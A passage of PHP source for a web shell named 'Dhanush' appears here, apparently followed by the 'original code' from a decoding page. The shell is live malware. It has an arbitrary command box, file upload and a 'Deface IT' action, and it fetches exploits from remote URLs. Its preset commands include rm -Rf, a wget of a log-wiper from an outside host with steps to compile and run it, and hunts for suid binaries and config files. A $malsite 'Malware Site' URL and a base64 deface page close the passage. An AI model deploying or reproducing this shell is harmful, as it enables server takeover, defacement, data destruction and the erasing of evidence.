$name=@posix_getpwuid(@fileowner($self));
$group=@posix_getgrgid(@filegroup($self));
$owner = $name[\'name\']. " / ". $group[\'name\'];
echo $owner . "</font></td>";
}
?>
<td><font size="2" color="lime"><?php echo date(\'Y-m-d H:i:s\', @filemtime(getcwd())); ?></font></td>
<td></td><td></td><td></td></</tr><?php
}else if($val=="..") { $val = Trail($dir . $directorysperator . $val,$directorysperator); ?>
<tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor=\'#000000\'" onMouseOut="style.backgroundColor=\'#0C0C0C\'"><td class=\'info\'><a href=\'<?php echo $self . "?dir=".$val; ?>\'><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
<td><?php if(is_writable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font color="#00CC00"><?php echo getFilePermissions($val);?></font></a><?php } else if(is_readable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font color="#FF0000"><?php echo getFilePermissions($val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font color="#FFFFFF"><?php echo getFilePermissions($val);?></font><?php } ?></td>
<?php if($os != \'Windows\')
{
echo "<td align=center><font size=2>";
$name=@posix_getpwuid(@fileowner($val));
$group=@posix_getgrgid(@filegroup($val));
$owner = $name[\'name\']. " / ". $group[\'name\'];
echo $owner . "</font></td>";
} ?>
<td><font size="2" color="lime"><?php echo date(\'Y-m-d H:i:s\', @filemtime($val)); ?></font></td>
<td></td><td></td><td></td></tr><?php continue; }
}
foreach($dirs as $val)
{
$i++;
?>
<font color="#999999">
<?php if($val == "." || $val == "..") continue; ?>
<tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor=\'#000000\'" onMouseOut="style.backgroundColor=\'#0C0C0C\'">
<td class=\'dir\'><a href=\'<?php echo $self ?>?dir=<?php echo $dir . $directorysperator . $val; ?>\'>[ <?php echo $val; ?> ]</a></td>
<td class=\'info\'><font size=2>DIR</font></td>
<td class=\'info\'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font color="#00CC00"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font color="#FF0000"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font color="#FFFFFF"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
<?php if($os != \'Windows\')
{
echo "<td align=center><font size=2>";
$name=@posix_getpwuid(@fileowner($val));
$group=@posix_getgrgid(@filegroup($val));
$owner = $name[\'name\']. " / ". $group[\'name\'];
echo $owner . "</font></td>";
} ?>
<td><font size="2" color="lime"><?php echo date(\'Y-m-d H:i:s\', @filemtime($dir . $directorysperator . $val)); ?></font></td>
<td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>"><font size=2>Rename</font></a></td>
<td></td>
<td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
</tr></font>
<?php
}
foreach($files as $val)
{
$i++;
?>
<tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor=\'#000000\'" onMouseOut="style.backgroundColor=\'#0C0C0C\'">
<td class=\'file\'><a href=\'<?php echo $self ?>?open=<?php echo $dir . $directorysperator . $val; ?>\'><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=\'?deface=" . $dir . $directorysperator . $val . "\'><font color=red>( Deface IT )</font></a>"; } } ?></td>
<td class=\'info\'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
<td class=\'info\'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font color="#00CC00"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font color="#FF0000"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font color="#FFFFFF"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
<?php if($os != \'Windows\')
{
echo "<td align=center><font size=2>";
$name=@posix_getpwuid(@fileowner($val));
$group=@posix_getgrgid(@filegroup($val));
$owner = $name[\'name\']. " / ". $group[\'name\'];
echo $owner . "</font></td>";
} ?>
<td><font size="2" color="lime"><?php echo date(\'Y-m-d H:i:s\', @filemtime($dir . $directorysperator . $val)); ?></font></td>
<td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>"><font size=2>Rename</font></a></td>
<td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
<td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
</tr>
<p>
<?php
}
}
else
{
echo "<p><font color=red size=4>".$_GET[\'dir\']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
}
echo "</table>
<div align=\'right\' style=\'width:97%;\'><BR><input type=\'checkbox\' name=\'checkall\' onclick=\'checkedAll();\'> <font color=lime size=3>Check All </font>
<select class=sbox name=choice style=\'width: 100px;\'>
<option value=delete>Delete</option>
<option value=chmod>Change mode</option>
if(class_exists(\'ZipArchive\'))
{ <option value=compre>Compress</option>
<option value=uncompre>Uncompress</option> }
</select>
<input type=submit value=Submit name=checkoption class=but></form></div>";
}
?>
</p>
<table style="width:100%;border-color:#333333;" border="1">
<tr>
<td align="center">
<form method="post" enctype="multipart/form-data">
Upload file : <br><input type="file" name="uploadfile" class="box" size="50"><input type="hidden" name="path" value="<?php echo $dir; ?>" /> <input type=submit value="Upload" name="u" value="u" class="but" ></form>
<?php
if (is_writable($dir)) {
echo \'<font color=lime>< writable ></font>\';
} else {
echo \'< not writable >\';
}
?>
<br>
</td>
<td align="center" style="height:105px;">Create File :
<form method="post">
<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile"> <input type="submit" value="Create" name="Create" class="but">
</form>
<?php
if (is_writable($dir)) {
echo \'<font color=lime>< writable ></font>\';
} else {
echo \'< not writable >\';
}
?>
</td>
</tr>
<tr>
<td align="center" style="height:105px;">Execute : <form action="<?php echo $self; ?>" method="post">
<input type="hidden" name="executepath" value="<?php echo $dir; ?>" />
<input type="text" class="box" name="execute"> <input type="submit" value="Execute" class="but"></form></td>
<td align="center">Create Directory : <form method="post">
<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder">
<input type="submit" value="Create" name="createdir" class="but">
</form><?php
if (is_writable($dir)) {
echo \'<font color=lime>< writable ></font>\';
} else {
echo \'< not writable >\';
}
?></td></tr>
<tr><td style="height:105px;" align="center">Get Exploit <form method="post" actions="<?php echo $self; ?>">
<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c"> <input type="submit" name="uploadurl" value=" G0 " class="but"><br><br>
<input type="hidden" name="path" value="<?php echo $dir; ?>">
<select name="functiontype" class="sbox">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select>
</form>
</td>
<td align="center">
<form method="post" action="<?php echo $self; ?>">
Some Commands<br>
<?php if($os != "Windows")
{ ?>
<SELECT NAME="mycmd" class="box">
<OPTION VALUE="uname -a">Kernel version
<OPTION VALUE="w">Logged in users
<OPTION VALUE="lastlog">Last to connect
<option value=\'cat /etc/hosts\'>IP Addresses
<option value=\'cat /proc/sys/vm/mmap_min_addr\'>Check MMAP
<OPTION VALUE="logeraser">Log Eraser
<OPTION VALUE="find / -perm -2 -ls">Find all writable directories
<OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
<OPTION VALUE="find / -type f -name \"config*\"">find config* files
<OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
<OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
<OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
<OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
<OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
<?php if(is_dir(\'/etc/valiases\')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
<?php if(is_dir(\'/etc/vdomainaliases\')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
<OPTION VALUE="which wget curl w3m lynx">Downloaders?
<OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
<OPTION VALUE="ps aux">Show running proccess
<OPTION VALUE="uptime">Uptime check
<OPTION VALUE="cat /proc/meminfo">Memory check
<OPTION VALUE="netstat -an | grep -i listen">Open ports
<OPTION VALUE="rm -Rf">Format box (DANGEROUS)
<OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
<OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
<OPTION VALUE="./zap2">WIPELOGS PT3
<OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
</SELECT>
<?php } else {?>
<SELECT NAME="mycmd" class="box">
<OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
<OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
<OPTION VALUE="systeminfo">System Informations
<OPTION VALUE="net user">User accounts
<OPTION VALUE="netstat -an">Open ports
<OPTION VALUE="getmac">Get Mac Address
<OPTION VALUE="net start">Show running services
<OPTION VALUE="net view">Show computers
<OPTION VALUE="arp -a">ARP Table
<OPTION VALUE="tasklist">Show Process
<OPTION VALUE="ipconfig/all">IP Configuration
</SELECT>
<?php } ?>
<input type="submit" value="Execute" class="but" name="executecmd">
</form>
</td>
</tr></table><br>
</td>
</tr>
</table>
<?php
//logout
if(isset($_GET[\'logout\']))
{
setcookie("hacked",time() - 60*60);
header("Location:$self");
ob_end_flush();
}
?>
<hr color="#1B1B1B">
<div align="center">
<font size="6" face="Times New Roman, Times, serif" color="#00CC00">धनुष<br>
--==Coded By Arjun==--</font><br><a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font color="#FF0000" size="6">जय हिन्द</font></a></div>
<?php
}
if(isset($_POST[\'uname\']) && isset($_POST[\'passwd\']))
{
if( $_POST[\'uname\'] == $user && $_POST[\'passwd\'] == $pass )
{
setcookie("hacked", md5($pass));
$selfenter = $_SERVER["PHP_SELF"];
header("Location:$selfenter");
}
}
if((!isset($_COOKIE[\'hacked\']) || $_COOKIE[\'hacked\']!=md5($pass)) )
{
?>
<center>
<form method="POST">
<div style="background-color:#171717; width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px; background-image:url(Windows_7_-_Alien_from_outer_space.jpg);">
<table cellpadding="9" cellspacing="4">
<tr>
<td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
</tr>
<tr>
<td align="right"><b>User Name : </b></td>
<td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == \'User Name\'){this.value=\'\'; this.style.color=\'black\';}" onBlur="if (this.value == \'\') {this.value=\'User Name\'; this.style.color=\'#828282\';}" AUTOCOMPLETE="OFF"></td>
</tr>
<tr>
<td align="right"><b>Password : </b></td>
<td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == \'User Name\'){this.value=\'\'; this.style.color=\'black\';}" onBlur="if (this.value == \'\') {this.value=\'User Name\'; this.style.color=\'#828282\';}" AUTOCOMPLETE="OFF"></td>
</tr>
<tr>
<td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
</tr>
<tr>
<td colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
</tr>
</table>
</div>
</form>
</center>
<br>
</body>
</html>
<?php
}
?>
'
Did this file decode correctly?
Original Code
<?php
$user = "X";
$pass = "X";
$malsite = "http://fightagent.ru"; // Malware Site
$ind = "DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkhhY2tlZCBieSBQYWxlbWJhbmcgY3liZXI8L3RpdGxlPg0KPG9iamVjdCB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgZGF0YT0iaHR0cDovL2FsYm9yYWFxLmNvbS9Nb3ZpZTkuc3dmIiB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwIj4gPHBhcmFtIG5hbWU9Im1vdmllIiANCnZhbHVlPSJodHRwOi8vZmxhc2gtbXAzLXBsYXllci5uZXQvbWVkaWFzL3BsYXllcl9tcDNfbWluaS5zd2YiPiA8cGFyYW0gbmFtZT0iYmdjb2xvciIgdmFsdWU9IiMwMDAwMDAiPjxwYXJhbSBuYW1lPSJGbGFzaFZhcnMiIHZhbHVlPSJtcDM9aHR0cDovL3d3dy5rYXJ0c3BvcnQuY28udWsvcmFmbHktc2V1bGFuZ2EubXAzJmFtcDthdXRvcGxheT0xIj48L29iamVjdD4NCg0KJm5ic3A7PHNjcmlwdCBzcmM9Imh0dHA6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LWxhdGVzdC5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvc3dmb2JqZWN0LzIuMi9zd2ZvYmplY3QuanMiPjwvc2NyaXB0PjxzY3JpcHQ+DQovLw0KdmFyIGN1cnJlbnRfdHlwZSA9IDE7DQooZnVuY3Rpb24oJCkgew0KICAgIA0KICAgIGZ1bmN0aW9uIHNodWZmbGUoYSkgew0KICAgICAgICB2YXIgaSA9IGEubGVuZ3RoLCBqOw0KICAgICAgICB3aGlsZSAoaSkgew0KICAgICAgICAgICAgdmFyIGogPSBNYXRoLmZsb29yKChpLS0pICogTWF0aC5yYW5kb20oKSk7DQogICAgICAgICAgICB2YXIgdCA9IGFbaV07DQogICAgICAgICAgICBhW2ldID0gYVtqXTsNCiAgICAgICAgICAgIGFbal0gPSB0Ow0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGZ1bmN0aW9uIHJhbmRvbUFscGhhTnVtKCkgew0KICAgICAgICB2YXIgcm5kID0gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNjIpOw0KICAgICAgICBpZiAocm5kID49IDUyKSByZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZShybmQgLSA0KTsNCiAgICAgICAgZWxzZSBpZiAocm5kID49IDI2KSByZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZShybmQgKyA3MSk7DQogICAgICAgIGVsc2UgcmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUocm5kICsgNjUpOw0KICAgIH0NCiAgICANCiAgICAkLmZuLnJvdDEzID0gZnVuY3Rpb24oKSB7DQogICAgICAgIHRoaXMuZWFjaChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICQodGhpcykudGV4dCgkKHRoaXMpLnRleHQoKS5yZXBsYWNlKC9bYS16MC05XS9pZywgZnVuY3Rpb24oY2hyKSB7DQogICAgICAgICAgICAgICAgdmFyIGNjID0gY2hyLmNoYXJDb2RlQXQoMCk7DQogICAgICAgICAgICAgICAgaWYgKGNjID49IDY1ICYmIGNjIDw9IDkwKSBjYyA9IDY1ICsgKChjYyAtIDUyKSAlIDI2KTsNCiAgICAgICAgICAgICAgICBlbHNlIGlmIChjYyA+PSA5NyAmJiBjYyA8PSAxMjIpIGNjID0gOTcgKyAoKGNjIC0gODQpICUgMjYpOw0KICAgICAgICAgICAgICAgIGVsc2UgaWYgKGNjID49IDQ4ICYmIGNjIDw9IDU3KSBjYyA9IDQ4ICsgKChjYyAtIDQzKSAlIDEwKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZShjYyk7DQogICAgICAgICAgICB9KSk7DQogICAgICAgIH0pOw0KICAgICAgICByZXR1cm4gdGhpczsNCiAgICB9Ow0KICAgIA0KICAgICQuZm4uc2NyYW1ibGVkV3JpdGVyID0gZnVuY3Rpb24oKSB7DQogICAgICAgIHRoaXMuZWFjaChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHZhciAkZWxlID0gJCh0aGlzKSwgc3RyID0gJGVsZS50ZXh0KCksIHByb2dyZXNzID0gMCwgcmVwbGFjZSA9IC9bXlxzXS9nLA0KICAgICAgICAgICAgICAgIHJhbmRvbSA9IHJhbmRvbUFscGhhTnVtLCBpbmMgPSAzOw0KICAgICAgICAgICAgJGVsZS50ZXh0KCcnKTsNCiAgICAgICAgICAgIHZhciB0aW1lciA9IHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICRlbGUudGV4dChzdHIuc3Vic3RyaW5nKDAsIHByb2dyZXNzKSArIHN0ci5zdWJzdHJpbmcocHJvZ3Jlc3MsIHN0ci5sZW5ndGggLSAxKS5yZXBsYWNlKHJlcGxhY2UsIHJhbmRvbSkpOw0KICAgICAgICAgICAgICAgIHByb2dyZXNzICs9IGluYw0KICAgICAgICAgICAgICAgIGlmIChwcm9ncmVzcyA+PSBzdHIubGVuZ3RoICsgaW5jKSB7IHZhciBuc3RyID0gJGVsZS50ZXh0KCk7ICRlbGUudGV4dChuc3RyLnN1YnN0cmluZygwLG5zdHIubGVuZ3RoIC0gMSkpOyAgY3VycmVudF90eXBlICs9IDE7IGNsZWFySW50ZXJ2YWwodGltZXIpO30NCiAgICAgICAgICAgIH0sIDEwMCk7DQogICAgICAgIH0pOw0KICAgICAgICByZXR1cm4gdGhpczsNCiAgICB9Ow0KICAgIA0KICAgICQuZm4udHlwZXdyaXRlciA9IGZ1bmN0aW9uKCkgew0KICAgICAgICB0aGlzLmVhY2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB2YXIgJGVsZSA9ICQodGhpcyksIHN0ciA9ICRlbGUuaHRtbCgpLCBwcm9ncmVzcyA9IDA7DQogICAgICAgICAgICAkZWxlLmh0bWwoJycpOw0KICAgICAgICAgICAgdmFyIHRpbWVyID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgJGVsZS5odG1sKHN0ci5zdWJzdHJpbmcoMCwgcHJvZ3Jlc3MrKykgKyAocHJvZ3Jlc3MgJiAxID8gJ18nIDogJycpKTsNCiAgICAgICAgICAgICAgICBpZiAocHJvZ3Jlc3MgPj0gc3RyLmxlbmd0aCkgeyBjdXJyZW50X3R5cGUgKz0gMTsgY2xlYXJJbnRlcnZhbCh0aW1lcik7fQ0KICAgICAgICAgICAgfSwgMTAwKTsNCiAgICAgICAgfSk7DQogICAgICAgIA0KICAgICAgICByZXR1cm4gdGhpczsNCiAgICB9Ow0KICAgIA0KICAgICQuZm4udW5zY3JhbWJsZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICB0aGlzLmVhY2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB2YXIgJGVsZSA9ICQodGhpcyksIHN0ciA9ICRlbGUudGV4dCgpLCByZXBsYWNlID0gL1teXHNdLywNCiAgICAgICAgICAgICAgICBzdGF0ZSA9IFtdLCBjaG9vc2UgPSBbXSwgcmV2ZWFsID0gMjUsIHJhbmRvbSA9IHJhbmRvbUFscGhhTnVtOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0ci5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGlmIChzdHJbaV0ubWF0Y2gocmVwbGFjZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgc3RhdGUucHVzaChyYW5kb20oKSk7DQogICAgICAgICAgICAgICAgICAgIGNob29zZS5wdXNoKGkpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIHN0YXRlLnB1c2goc3RyW2ldKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIHNodWZmbGUoY2hvb3NlKTsNCiAgICAgICAgICAgICRlbGUudGV4dChzdGF0ZS5qb2luKCcnKSk7DQogICAgICAgICAgIA0KICAgICAgICAgICAgdmFyIHRpbWVyID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgdmFyIGksIHIgPSByZXZlYWw7DQogICAgICAgICAgICAgICAgd2hpbGUgKHItLSAmJiBjaG9vc2UubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgIGkgPSBjaG9vc2UucG9wKCk7DQogICAgICAgICAgICAgICAgICAgIHN0YXRlW2ldID0gc3RyW2ldOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmb3IgKGkgPSAwOyBpIDwgY2hvb3NlLmxlbmd0aDsgaSsrKSBzdGF0ZVtjaG9vc2VbaV1dID0gcmFuZG9tKCk7DQogICAgICAgICAgICAgICAgJGVsZS50ZXh0KHN0YXRlLmpvaW4oJycpKTsNCiAgICAgICAgICAgICAgICBpZiAoY2hvb3NlLmxlbmd0aCA9PSAwKSB7IGN1cnJlbnRfdHlwZSArPSAxOyBjbGVhckludGVydmFsKHRpbWVyKTt9DQogICAgICAgICAgICB9LCAyMDApOw0KICAgICAgICB9KTsNCiAgICAgICAgcmV0dXJuIHRoaXM7DQogICAgfTsNCn0pKGpRdWVyeSk7DQpmdW5jdGlvbiByZXBsYWNlQWxsKHR4dCwgcmVwbGFjZSwgd2l0aF90aGlzKSB7DQogcmV0dXJuIHR4dC5yZXBsYWNlKG5ldyBSZWdFeHAocmVwbGFjZSwgJ2cnKSx3aXRoX3RoaXMpOw0KfQ0KZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTt3aGlsZShjLS0paWYoa1tjXSlwPXAucmVwbGFjZShuZXcgUmVnRXhwKCdcXGInK2UoYykrJ1xcYicsJ2cnKSxrW2NdKTtyZXR1cm4gcH0oJyQoaykuMUwoYigpe2EgVT0xSyAxSigpO2Egbj0kKCIjVCIpLlMoKTtuPTFJKG4sXCcxSFwnLGsuMUcuMUYpO249bi4xRSgvMUQvLFUpOyQoIiNUIikuUyhuKTtiIHQoKXthIHU9ay52KyIgICAgICI7YSByPTA7ay52PVwnXCc7YSBSPWcoYigpe2sudj11LjFDKDAscisrKSsociYxP1wnMUJcJzpcJ1wnKTtjKHI+PXUuMUEpe2UoUik7dCgpfX0sMXopfXQoKTtzKCJwIik7JCgiIzF5IikuaigpO2EgUT1nKGIoKXtjKGg9PTIpeyQoIiMxeCIpLmYoKTskKCIjMXciKS5qKCk7ZShRKX19LGkpO2EgUD1nKGIoKXtjKGg9PTMpeyQoIiMxdiIpLmYoKTskKCIjMXUiKS5OKCk7ZShQKX19LGkpO2EgTz1nKGIoKXtjKGg9PTQpeyQoIiMxdCIpLmYoKTskKCIjMXMiKS5qKCk7ZShPKX19LGkpO2EgTT1nKGIoKXtjKGg9PTUpeyQoIiMxciIpLmYoKTskKCIjMXEiKS5OKCk7ZShNKX19LGkpO2EgTD1nKGIoKXtjKGg9PTYpeyQoIiMxcCIpLmYoKTskKCIjMW8iKS5qKCk7ZShMKX19LGkpO2EgSz1nKGIoKXtjKGg9PTcpeyQoIiMxbiIpLnEoKTskKCIjMW0iKS5mKEgpOyQoIiMxbCIpLmooKTtlKEspfX0sMWspO2EgSj1nKGIoKXtjKGg9PTgpeyQoIiMxaiIpLmYoKTskKCIjMWkiKS5qKCk7ZShKKX19LGkpO2EgRj1nKGIoKXtjKGg9PTkpe0kuMWgoMCwxZyk7SS4xZigpOyQoIiMxZSIpLmYoKTskKCIjMWQiKS5qKCk7JChcJyNwXCcpLjFjKHsxYjoiMWElIiwxOToiSCUifSxiKCl7JCgiI3AiKS5tKCJ4IiwiNSIpOyQoIiNwIikubSgidyIsIjUiKTskKCIjcCIpLm0oImQiLCQoaykuZCgpLUcpOyQoIiMxOCIpLm0oImQiLCQoaykuZCgpLUcpOyQoIiMxNyIpLmYoKX0pO2UoRil9fSxpKTthIEU9ZyhiKCl7YyhoPT0xMCl7JCgiIzE2IikucSgpOyQoIiMxNSIpLmYoKTskKCIjMTQiKS5qKCk7ZShFKX19LGkpO2EgRD1nKGIoKXtjKGg9PTExKXskKCIjMTMiKS5xKCk7JCgiI1oiKS5mKCk7JCgiI1kiKS5qKCk7ZShEKX19LGkpO2EgQz1nKGIoKXtjKGg9PTEyKXskKCIjWCIpLnEoKTskKCIjVyIpLmYoKTskKCIjViIpLmooKTtlKEMpfX0saSl9KTtzKCk7YiBzKG8pe2EgZD0kKGspLmQoKTthIGw9JChrKS5sKCk7YSBCPSQoIiMiK28pLmQoKTthIHk9JCgiIyIrbykubCgpO2Q9QS56KChkLUIpLzIpO2w9QS56KChsLXkpLzIpO2MoZDwwKXtkPTJ9YyhsPDApe2w9Mn0kKCIjIitvKS5tKCJ4IixkKTskKCIjIitvKS5tKCJ3IixsKX0nLDYyLDExMCwnfHx8fHx8fHx8fHZhcnxmdW5jdGlvbnxpZnxoZWlnaHR8Y2xlYXJJbnRlcnZhbHxzaG93fHNldEludGVydmFsfGN1cnJlbnRfdHlwZXw1MDB8dHlwZXdyaXRlcnxkb2N1bWVudHx3aWR0aHxjc3N8bWhvc3R8bG9sfHhCb2R5fGhpZGV8cHJvZ3Jlc3N8Zml4UG9zaXRpb258dGl0bGVfbWFnaWN8c3RyfHRpdGxlfGxlZnR8dG9wfG13aWR0aHxyb3VuZHxNYXRofG1oZWlnaHR8dGltZXIxMnx0aW1lcjExfHRpbWVyMTB8dGltZXI5fDEwMHw1MHx5dHBsYXllcnx0aW1lcjh8dGltZXI3fHRpbWVyNnx0aW1lcjV8c2NyYW1ibGVkV3JpdGVyfHRpbWVyNHx0aW1lcjN8dGltZXIyfHRpdGxlX3RpbWVyfGh0bWx8c3NofHRvZGF5fG15dGV4dDEyfHNzaDEyfDRzc2h8bXl0ZXh0MTF8c3NoMTF8fHx8M3NzaHxteXRleHQxMHxzc2gxMHwyc3NofHBpY3p8c3NoQm94fHJpZ2h0fDIwfGJvdHRvbXxhbmltYXRlfG15dGV4dDl8c3NoOXx1bk11dGV8ZmFsc2V8c2Vla1RvfG15dGV4dDh8c3NoOHwzMDAwfG15dGV4dDd8c3NoN3wxc3NofG15dGV4dDZ8c3NoNnxteXRleHQ1fHNzaDV8bXl0ZXh0NHxzc2g0fG15dGV4dDN8c3NoM3xteXRleHQyfHNzaDJ8bXl0ZXh0MXwyMDB8bGVuZ3RofF98c3Vic3RyaW5nfGNfdGltZXxyZXBsYWNlfGhvc3RuYW1lfGxvY2F0aW9ufGxvY2FsaG9zdHxyZXBsYWNlQWxsfERhdGV8bmV3fHJlYWR5Jy5zcGxpdCgnfCcpKSkNCjwvc2NyaXB0PjxzdHlsZT4NCmJvZHl7DQpmb250LWZhbWlseTogImNvdXJpZXIgbmV3IjsNCmJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KZm9udC1zaXplOjgwJTsNCmNvbG9yOiAjMjhGRTE0Ow0KYmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vNC5icC5ibG9nc3BvdC5jb20vX05pX0VoY1FCb0xzL1RTY2ZSVldaTmZJL0FBQUFBQUFBQVA4L1JKQVc3cHBUSEhBL3MxNjAwL2JhY2t0cmFja180X2xvZ29fcHJlX2ZpbmFsLmpwZyIpOw0KfQ0KDQoueEJvZHl7DQp3aWR0aDo2NjBweDsNCmhlaWdodDo0NTBweDsNCnBvc2l0aW9uOmFic29sdXRlOw0Kei1pbmRleDogOTsNCn0NCi5zc2h7DQpkaXNwbGF5Om5vbmU7DQp6LWluZGV4OiA5Ow0KfQ0KLnNzaEJveHsNCmhlaWdodDozMDBweDsNCmJvcmRlcjogNHB4IHNvbGlkIHdoaXRlOw0KCS1tb3otYm9yZGVyLXJhZGl1czogNHB4Ow0KCS13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4Ow0KCS1vLWJvcmRlci1yYWRpdXM6IDR4Ow0KCS1raHRtbC1ib3JkZXItcmFkaXVzOiA0cHg7DQoJYm9yZGVyLXJhZGl1czogNHB4Ow0KCXotaW5kZXg6IDk7DQp9DQouc3NoSGVhZHsNC